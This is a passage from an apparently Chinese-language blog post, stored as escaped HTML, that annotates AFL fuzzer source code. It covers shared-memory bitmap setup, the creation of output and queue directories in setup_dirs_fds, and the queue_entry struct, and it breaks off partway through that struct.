&#x2F;&#x2F; 如果 in_bitmap 为空，调用 memset 初始化数组 virgin_bits[MAP_SIZE] 的每个元素的值为 ‘255’。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  memset(virgin_tmout, 255, MAP_SIZE); &#x2F;&#x2F; 调用 memset 初始化数组 virgin_tmout[MAP_SIZE] 的每个元素的值为 ‘255’。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  memset(virgin_crash, 255, MAP_SIZE); &#x2F;&#x2F; 调用 memset 初始化数组 virgin_crash[MAP_SIZE] 的每个元素的值为 ‘255’。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  shm_id = shmget(IPC_PRIVATE, MAP_SIZE, IPC_CREAT | IPC_EXCL | 0600);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;&#x2F; 调用 shmget 函数分配一块共享内存，并将返回的共享内存标识符保存到 shm_id&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (shm_id &amp;lt; 0) PFATAL(&quot;shmget() failed&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  atexit(remove_shm); &#x2F;&#x2F; 注册 atexit handler 为 remove_shm&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  shm_str = alloc_printf(&quot;%d&quot;, shm_id); &#x2F;&#x2F; 创建字符串 shm_str&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* If somebody is asking us to fuzz instrumented binaries in dumb mode,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     we don&#x27;t want them to detect instrumentation, since we won&#x27;t be sending&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     fork server commands. This should be replaced with better auto-detection&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     later on, perhaps? *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; if (!dumb_mode) setenv(SHM_ENV_VAR, shm_str, 1);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;&#x2F; 如果不是dumb_mode，设置环境变量 SHM_ENV_VAR 的值为 shm_str&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  ck_free(shm_str);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  trace_bits = shmat(shm_id, NULL, 0);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;&#x2F; 设置 trace_bits 并初始化为0&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (trace_bits == (void *)-1) PFATAL(&quot;shmat() failed&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;这里通过 &lt;code&gt;trace_bits&lt;&#x2F;code&gt; 和 &lt;code&gt;virgin_bits&lt;&#x2F;code&gt; 两个 bitmap 来分别记录当前的 tuple 信息及整体 tuple 信息，其中 &lt;code&gt;trace_bits&lt;&#x2F;code&gt; 位于共享内存上，便于进行进程间通信。通过 &lt;code&gt;virgin_tmout&lt;&#x2F;code&gt; 和 &lt;code&gt;virgin_crash&lt;&#x2F;code&gt; 两个 bitmap 来记录 fuzz 过程中出现的所有目标程序超时以及崩溃的 tuple 信息。&lt;&#x2F;p&gt;
&lt;p&gt;该函数用于准备输出文件夹和文件描述符，结合源码进行解析：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;  1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 38&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 39&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 40&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 41&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 42&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 43&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 44&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 45&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 46&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 47&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 48&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 49&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 50&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 51&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 52&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 53&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 54&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 55&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 56&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 57&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 58&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 59&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 60&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 61&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 62&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 63&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 64&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 65&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 66&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 67&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 68&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 69&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 70&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 71&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 72&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 73&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 74&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 75&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 76&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 77&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 78&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 79&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 80&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 81&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 82&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 83&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 84&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 85&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 86&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 87&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 88&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 89&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 90&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 91&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 92&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 93&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 94&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 95&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 96&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 97&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 98&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 99&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;100&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;101&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;102&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;103&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;104&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;105&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;106&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;107&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;108&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;109&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;110&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;111&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;112&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;113&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;114&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;115&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;116&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;117&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;118&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;119&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;120&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;121&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;122&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;EXP_ST void setup_dirs_fds(void) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u8* tmp;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  s32 fd;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  ACTF(&quot;Setting up output directories...&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (sync_id &amp;amp;&amp;amp; mkdir(sync_dir, 0700) &amp;amp;&amp;amp; errno != EEXIST)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      PFATAL(&quot;Unable to create &#x27;%s&#x27;&quot;, sync_dir);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* 如果sync_id，且创建sync_dir文件夹并设置权限为0700，如果报错单errno不是 EEXIST ，抛出异常 *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (mkdir(out_dir, 0700)) { &#x2F;&#x2F; 创建out_dir， 权限为0700&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   if (errno != EEXIST) PFATAL(&quot;Unable to create &#x27;%s&#x27;&quot;, out_dir);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    maybe_delete_out_dir();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  } else {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (in_place_resume) &#x2F;&#x2F; 创建成功&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      FATAL(&quot;Resume attempted but old output directory not found&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    out_dir_fd = open(out_dir, O_RDONLY); &#x2F;&#x2F; 以只读模式打开，返回fd：out_dir_fd&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#ifndef __sun&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (out_dir_fd &amp;lt; 0 || flock(out_dir_fd, LOCK_EX | LOCK_NB))&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      PFATAL(&quot;Unable to flock() output directory.&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#endif &#x2F;* !__sun *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Queue directory for any starting &amp;amp; discovered paths. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; tmp = alloc_printf(&quot;%s&#x2F;queue&quot;, out_dir);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;if (mkdir(tmp, 0700)) PFATAL(&quot;Unable to create &#x27;%s&#x27;&quot;, tmp);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;&#x2F; 创建 out_dir&#x2F;queue 文件夹，权限为0700&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  ck_free(tmp);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Top-level directory for queue metadata used for session&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     resume and related tasks. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  tmp = alloc_printf(&quot;%s&#x2F;queue&#x2F;.state&#x2F;&quot;, out_dir);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;&#x2F; 创建 out_dir&#x2F;queue&#x2F;.state 文件夹，用于保存session resume 和相关tasks的队列元数据。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (mkdir(tmp, 0700)) PFATAL(&quot;Unable to create &#x27;%s&#x27;&quot;, tmp);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  ck_free(tmp);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Directory for flagging queue entries that went through&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     deterministic fuzzing in the past. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  tmp = alloc_printf(&quot;%s&#x2F;queue&#x2F;.state&#x2F;deterministic_done&#x2F;&quot;, out_dir);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (mkdir(tmp, 0700)) PFATAL(&quot;Unable to create &#x27;%s&#x27;&quot;, tmp);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  ck_free(tmp);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Directory with the auto-selected dictionary entries. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  tmp = alloc_printf(&quot;%s&#x2F;queue&#x2F;.state&#x2F;auto_extras&#x2F;&quot;, out_dir);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (mkdir(tmp, 0700)) PFATAL(&quot;Unable to create &#x27;%s&#x27;&quot;, tmp);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  ck_free(tmp);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* The set of paths currently deemed redundant. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  tmp = alloc_printf(&quot;%s&#x2F;queue&#x2F;.state&#x2F;redundant_edges&#x2F;&quot;, out_dir);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (mkdir(tmp, 0700)) PFATAL(&quot;Unable to create &#x27;%s&#x27;&quot;, tmp);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  ck_free(tmp);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* The set of paths showing variable behavior. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  tmp = alloc_printf(&quot;%s&#x2F;queue&#x2F;.state&#x2F;variable_behavior&#x2F;&quot;, out_dir);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (mkdir(tmp, 0700)) PFATAL(&quot;Unable to create &#x27;%s&#x27;&quot;, tmp);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  ck_free(tmp);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Sync directory for keeping track of cooperating fuzzers. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (sync_id) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    tmp = alloc_printf(&quot;%s&#x2F;.synced&#x2F;&quot;, out_dir);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (mkdir(tmp, 0700) &amp;amp;&amp;amp; (!in_place_resume || errno != EEXIST))&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      PFATAL(&quot;Unable to create &#x27;%s&#x27;&quot;, tmp);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    ck_free(tmp);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* All recorded crashes. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  tmp = alloc_printf(&quot;%s&#x2F;crashes&quot;, out_dir);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (mkdir(tmp, 0700)) PFATAL(&quot;Unable to create &#x27;%s&#x27;&quot;, tmp);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  ck_free(tmp);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* All recorded hangs. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  tmp = alloc_printf(&quot;%s&#x2F;hangs&quot;, out_dir);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (mkdir(tmp, 0700)) PFATAL(&quot;Unable to create &#x27;%s&#x27;&quot;, tmp);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  ck_free(tmp);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Generally useful file descriptors. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  dev_null_fd = open(&quot;&#x2F;dev&#x2F;null&quot;, O_RDWR);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (dev_null_fd &amp;lt; 0) PFATAL(&quot;Unable to open &#x2F;dev&#x2F;null&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  dev_urandom_fd = open(&quot;&#x2F;dev&#x2F;urandom&quot;, O_RDONLY);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (dev_urandom_fd &amp;lt; 0) PFATAL(&quot;Unable to open &#x2F;dev&#x2F;urandom&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Gnuplot output file. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  tmp = alloc_printf(&quot;%s&#x2F;plot_data&quot;, out_dir);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  fd = open(tmp, O_WRONLY | O_CREAT | O_EXCL, 0600);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (fd &amp;lt; 0) PFATAL(&quot;Unable to create &#x27;%s&#x27;&quot;, tmp);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  ck_free(tmp);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  plot_file = fdopen(fd, &quot;w&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (!plot_file) PFATAL(&quot;fdopen() failed&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  fprintf(plot_file, &quot;# unix_time, cycles_done, cur_path, paths_total, &quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                     &quot;pending_total, pending_favs, map_size, unique_crashes, &quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                     &quot;unique_hangs, max_depth, execs_per_sec\n&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                     &#x2F;* ignore errors *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;该函数的源码中，开发者对关键位置均做了清楚的注释，很容易理解，不做过多解释。&lt;&#x2F;p&gt;
&lt;p&gt;该函数会将 &lt;code&gt;in_dir&lt;&#x2F;code&gt; 目录下的测试用例扫描到 &lt;code&gt;queue&lt;&#x2F;code&gt; 中，并且区分该文件是否为经过确定性变异的input，如果是的话跳过，以节省时间。 调用函数 &lt;code&gt;add_to_queue()&lt;&#x2F;code&gt; 将测试用例排成queue队列。该函数会在启动时进行调用。&lt;&#x2F;p&gt;
&lt;p&gt;该函数主要用于将新的test case添加到队列，初始化 &lt;code&gt;fname&lt;&#x2F;code&gt; 文件名称，增加&lt;code&gt;cur_depth&lt;&#x2F;code&gt; 深度，增加 &lt;code&gt;queued_paths&lt;&#x2F;code&gt; 测试用例数量等。&lt;&#x2F;p&gt;
&lt;p&gt;首先，&lt;code&gt;queue_entry&lt;&#x2F;code&gt; 结构体定义如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;struct queue_entry {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u8* fname;                          &#x2F;* File name for the test case      *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u32 len;                            &#x2F;* Input length                     *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u8  cal_failed,                     &#x2F;* Calibration failed?              *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      trim_done,                      &#x2F;* Trimmed?                         *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      was_fuzzed,                     &#x2F;* Had any fuzzing done yet?        *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      passed_det,                     &#x2F;* Deterministic stages passed?     *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      has_new_cov,                    &#x2F;* Triggers new coverage?           